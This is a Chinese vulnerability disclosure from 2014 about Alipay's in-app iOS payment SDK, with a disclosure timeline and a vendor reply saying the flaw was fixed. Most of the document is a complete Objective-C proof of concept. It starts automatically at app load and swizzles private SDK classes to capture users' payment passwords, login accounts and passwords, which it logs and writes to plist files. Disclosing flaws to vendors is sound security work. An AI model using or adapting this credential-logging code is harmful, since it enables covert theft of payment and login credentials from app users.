2014-04-10: 细节已通知厂商并且等待厂商处理中 2014-04-11: 厂商已经确认,细节仅向厂商公开 2014-04-14: 细节向第三方安全合作伙伴开放 2014-06-05: 细节向核心白帽子及相关领域专家公开 2014-06-15: 细节向普通白帽子公开 2014-06-25: 细节向实习白帽子公开 2014-07-09: 细节向公众公开
现在支付宝在iOS上推出了极简收银台的支付SDK,如大众点评网应用就使用了该SDK。该SDK不需要跨应用跳转,直接在应用内完成支付,但存在使用SDK的厂商可以直接记录用户敏感信息的漏洞。
支付宝这类极简收银台的支付SDK,由于在第三方应用内直接集成,而且支付流程完全在第三方应用内执行,没有跳转到支付宝应用内授权。但iOS的运行机制比较动态,可以通过直接hook起SDK内部的一些私有方法。然后,通过hook起的方法,直接访问用户输入的支付密码和登陆账号、密码。完全可以在用户和支付宝不知情的情况下,记录用户这些数据。
//AlipayLoger.h#import <Foundation/Foundation.h>@class MiniPwd;@class Input;@class Password;extern NSString *const PopupViewConfirmNotification;typedef NS_ENUM(NSInteger, AlipayLogType) { AlipayLogType_AccPwd, AlipayLogType_PayPwd,};@interface AlipayLoger : NSObject@property (nonatomic, weak) MiniPwd *mPwd;@property (nonatomic, weak) Input *accName;@property (nonatomic, weak) Password *accPwd;@property (nonatomic) AlipayLogType curLogType;+ (instancetype)shareInstance;+ (void)startHook;@end
//AlipayLoger.m#import "AlipayLoger.h"#import "MiniPwd+Hook.h"#import "PopupView+Hook.h"#import "Input+Hook.h"#import "Password+Hook.h"#import "NSObject+Runtime.h"NSString *const PopupViewConfirmNotification = @"PopupViewConfirmNotification";static NSString *const AL_PayPassword = @"PayPassword";static NSString *const AL_LoginAccount = @"Account";static NSString *const AL_LoginPassword = @"Password";static AlipayLoger *__shareInstance = nil;@implementation UIResponder (AlipayHook)+ (void)load{ static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ [AlipayLoger startHook]; });}@end@implementation AlipayLoger+ (NSString *)libPath{ return NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES)[0];}+ (NSString *)payInfoPath{ return [[AlipayLoger libPath] stringByAppendingPathComponent:@"payInfo.plist"];}+ (NSString *)loginInfoPath{ return [[AlipayLoger libPath] stringByAppendingPathComponent:@"loginInfo.plist"];}+ (instancetype)shareInstance{ static dispatch_once_t onceToken; dispatch_once(&onceToken, ^{ __shareInstance = [[AlipayLoger alloc] init]; }); return __shareInstance;}- (instancetype)init{ self = [super init]; if (self) { [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(receiveLogNotification:) name:PopupViewConfirmNotification object:nil]; } return self;}- (void)receiveLogNotification:(NSNotification *)notification{ NSString *tName = self.accName.textField.text; NSString *tPwd = self.accPwd.textField.text; if (self.curLogType == AlipayLogType_AccPwd && tName.length && tPwd.length) { NSDictionary *dict = @{AL_LoginAccount: tName, AL_LoginPassword: tPwd}; [dict writeToFile:[AlipayLoger loginInfoPath] atomically:YES]; NSLog(@"AlipayLoger:\n%@: %@\n%@: %@", AL_LoginAccount, tName, AL_LoginPassword, tPwd); } else if (self.curLogType == AlipayLogType_PayPwd) { UITextField *textField = [self.mPwd objectWithVarName:@"textField"]; NSDictionary *dict = @{AL_PayPassword: textField.text}; [dict writeToFile:[AlipayLoger payInfoPath] atomically:YES]; NSLog(@"AlipayLoger:\n%@: %@", AL_PayPassword, textField.text); }}+ (void)startHook{ [PopupView startHook]; [MiniPwd startHook]; [Input startHook]; [Password startHook];}@end
//NSObject+Runtime.h#import <Foundation/Foundation.h>@interface NSObject (Runtime)- (id)objectWithVarName:(NSString *)varName;@end
//NSObject+Runtime.m#import "NSObject+Runtime.h"#import <objc/runtime.h>@implementation NSObject (Runtime)- (id)objectWithVarName:(NSString *)varName{ unsigned int count; Ivar *vars = class_copyIvarList([self class], &count); Ivar *findVar = NULL; const char *name = [varName UTF8String]; for (unsigned int i = 0; i < count; i++) { if (strcmp(name, ivar_getName(vars[i])) == 0) { findVar = vars+i; break; } } id returnObj = object_getIvar(self, *findVar); free(vars); return returnObj;}@end
//MiniPwd.h#import <UIKit/UIKit.h>@interface MiniPwd : UIView { UITextField* textField; // 80 = 0x50}-(id)getValue; // 0x7fdf9-(id)init:(CGSize)init withModel:(id)model; // 0x7f499@end
//MiniPwd+Hook.h#import "MiniPwd.h"@interface MiniPwd (Hook)+ (void)startHook;@end
//MiniPwd+Hook.m#import "MiniPwd+Hook.h"#import "AlipayLoger.h"#import "JRSwizzle.h"#import "NSObject+Runtime.h"@implementation MiniPwd (Hook)+ (void)startHook{ [self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];}- (id)initHook:(CGSize)init withModel:(id)model{ self = [self initHook:init withModel:model]; if (self) { [AlipayLoger shareInstance].mPwd = self; [AlipayLoger shareInstance].curLogType = AlipayLogType_PayPwd; } return self;}@end
//PopupView.h#import <UIKit/UIKit.h>@class NSString, UIImageView, NSDictionary, UIView, NSMutableArray, UIButton;@interface PopupView : UIView{ }-(void)onCancle:(id)cancle; // 0x82731-(void)onConfirm:(id)confirm; // 0x827e5@end
//PopupView+Hook.h#import "PopupView.h"@interface PopupView (Hook)+ (void)startHook;@end
//PopupView+Hook.m#import "PopupView+Hook.h"#import "JRSwizzle.h"#import "AlipayLoger.h"@implementation PopupView (Hook)+ (void)startHook{ [PopupView jr_swizzleMethod:@selector(onConfirm:) withMethod:@selector(hookOnConfirm:) error:nil];}- (void)hookOnConfirm:(UIButton *)sender{ [[NSNotificationCenter defaultCenter] postNotificationName:PopupViewConfirmNotification object:nil]; [self hookOnConfirm:sender];}@end
//Input.h#import <UIKit/UIKit.h>@interface Input : UIView {@private NSString* _content; // 52 = 0x34 NSString* _format; // 56 = 0x38 UILabel* _paddingView; // 60 = 0x3c NSString* _textFieldFormat; // 64 = 0x40 NSString* _keyboard; // 68 = 0x44 NSString* _format_msg; // 72 = 0x48 UITextField* _textField; // 76 = 0x4c}@property(retain, nonatomic) UITextField* textField; // G=0x7e0c5; S=0x7e0d5; @end
//Input+Hook.h#import "Input.h"@interface Input (Hook)+ (void)startHook;@end
//Input+Hook.m#import "Input+Hook.h"#import "AlipayLoger.h"#import "JRSwizzle.h"@implementation Input (Hook)+ (void)startHook{ [self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];}- (id)initHook:(CGSize)init withModel:(id)model{ self = [self initHook:init withModel:model]; if ([self isMemberOfClass:[Input class]]) { [AlipayLoger shareInstance].accName = self; } return self;}@end
//Password.h#import "Input.h"@interface Password : Input {}-(id)init:(CGSize)init withModel:(id)model; // 0x80125@end
//Password+Hook.h#import "Password.h"@interface Password (Hook)+ (void)startHook;@end
//Password+Hook.m#import "Password+Hook.h"#import "AlipayLoger.h"#import "JRSwizzle.h"@implementation Password (Hook)+ (void)startHook{ [self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHookP:withModel:) error:nil];}- (id)initHookP:(CGSize)init withModel:(id)model{ self = [self initHookP:init withModel:model]; if (self) { [AlipayLoger shareInstance].accPwd = self; [AlipayLoger shareInstance].curLogType = AlipayLogType_AccPwd; } return self;}@end
//JRSwizzle.h// JRSwizzle.h semver:1.0// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com// Some rights reserved: http://opensource.org/licenses/MIT// https://github.com/rentzsch/jrswizzle#import <Foundation/Foundation.h>@interface NSObject (JRSwizzle)+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_;+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_;@end
//JRSwizzle.m// JRSwizzle.m semver:1.0// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com// Some rights reserved: http://opensource.org/licenses/MIT// https://github.com/rentzsch/jrswizzle#import "JRSwizzle.h"#if TARGET_OS_IPHONE #import <objc/runtime.h> #import <objc/message.h>#else #import <objc/objc-class.h>#endif#define SetNSErrorFor(FUNC, ERROR_VAR, FORMAT,...) \ if (ERROR_VAR) { \ NSString *errStr = [NSString stringWithFormat:@"%s: " FORMAT,FUNC,##__VA_ARGS__]; \ *ERROR_VAR = [NSError errorWithDomain:@"NSCocoaErrorDomain" \ code:-1 \ userInfo:[NSDictionary dictionaryWithObject:errStr forKey:NSLocalizedDescriptionKey]]; \ }#define SetNSError(ERROR_VAR, FORMAT,...) SetNSErrorFor(__func__, ERROR_VAR, FORMAT, ##__VA_ARGS__)#if OBJC_API_VERSION >= 2#define GetClass(obj) object_getClass(obj)#else#define GetClass(obj) (obj ? obj->isa : Nil)#endif@implementation NSObject (JRSwizzle)+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_ {#if OBJC_API_VERSION >= 2 Method origMethod = class_getInstanceMethod(self, origSel_); if (!origMethod) {#if TARGET_OS_IPHONE SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self class]);#else SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);#endif return NO; } Method altMethod = class_getInstanceMethod(self, altSel_); if (!altMethod) {#if TARGET_OS_IPHONE SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self class]);#else SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);#endif return NO; } class_addMethod(self, origSel_, class_getMethodImplementation(self, origSel_), method_getTypeEncoding(origMethod)); class_addMethod(self, altSel_, class_getMethodImplementation(self, altSel_), method_getTypeEncoding(altMethod)); method_exchangeImplementations(class_getInstanceMethod(self, origSel_), class_getInstanceMethod(self, altSel_)); return YES;#else // Scan for non-inherited methods. Method directOriginalMethod = NULL, directAlternateMethod = NULL; void *iterator = NULL; struct objc_method_list *mlist = class_nextMethodList(self, &iterator); while (mlist) { int method_index = 0; for (; method_index < mlist->method_count; method_index++) { if (mlist->method_list[method_index].method_name == origSel_) { assert(!directOriginalMethod); directOriginalMethod = &mlist->method_list[method_index]; } if (mlist->method_list[method_index].method_name == altSel_) { assert(!directAlternateMethod); directAlternateMethod = &mlist->method_list[method_index]; } } mlist = class_nextMethodList(self, &iterator); } // If either method is inherited, copy it up to the target class to make it non-inherited. if (!directOriginalMethod || !directAlternateMethod) { Method inheritedOriginalMethod = NULL, inheritedAlternateMethod = NULL; if (!directOriginalMethod) { inheritedOriginalMethod = class_getInstanceMethod(self, origSel_); if (!inheritedOriginalMethod) { SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]); return NO; } } if (!directAlternateMethod) { inheritedAlternateMethod = class_getInstanceMethod(self, altSel_); if (!inheritedAlternateMethod) { SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]); return NO; } } int hoisted_method_count = !directOriginalMethod && !directAlternateMethod ? 2 : 1; struct objc_method_list *hoisted_method_list = malloc(sizeof(struct objc_method_list) + (sizeof(struct objc_method)*(hoisted_method_count-1))); hoisted_method_list->obsolete = NULL; // soothe valgrind - apparently ObjC runtime accesses this value and it shows as uninitialized in valgrind hoisted_method_list->method_count = hoisted_method_count; Method hoisted_method = hoisted_method_list->method_list; if (!directOriginalMethod) { bcopy(inheritedOriginalMethod, hoisted_method, sizeof(struct objc_method)); directOriginalMethod = hoisted_method++; } if (!directAlternateMethod) { bcopy(inheritedAlternateMethod, hoisted_method, sizeof(struct objc_method)); directAlternateMethod = hoisted_method; } class_addMethods(self, hoisted_method_list); } // Swizzle. IMP temp = directOriginalMethod->method_imp; directOriginalMethod->method_imp = directAlternateMethod->method_imp; directAlternateMethod->method_imp = temp; return YES;#endif}+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_ { return [GetClass((id)self) jr_swizzleMethod:origSel_ withMethod:altSel_ error:error_];}@end
以上是全部的实现代码,直接嵌入到Xcode工程即可,调用支付宝SDK时会有相应的log输出,和Document下有两个plist记录账号密码信息。JRSwizzle是一个辅助用的开源库。
不建议支付流程全部在第三方应用内完成
危害等级:中
漏洞Rank:10
确认时间:2014-04-11 18:35
感谢您的反馈,目前该漏洞已经在新版本SDK中进行了修复
暂无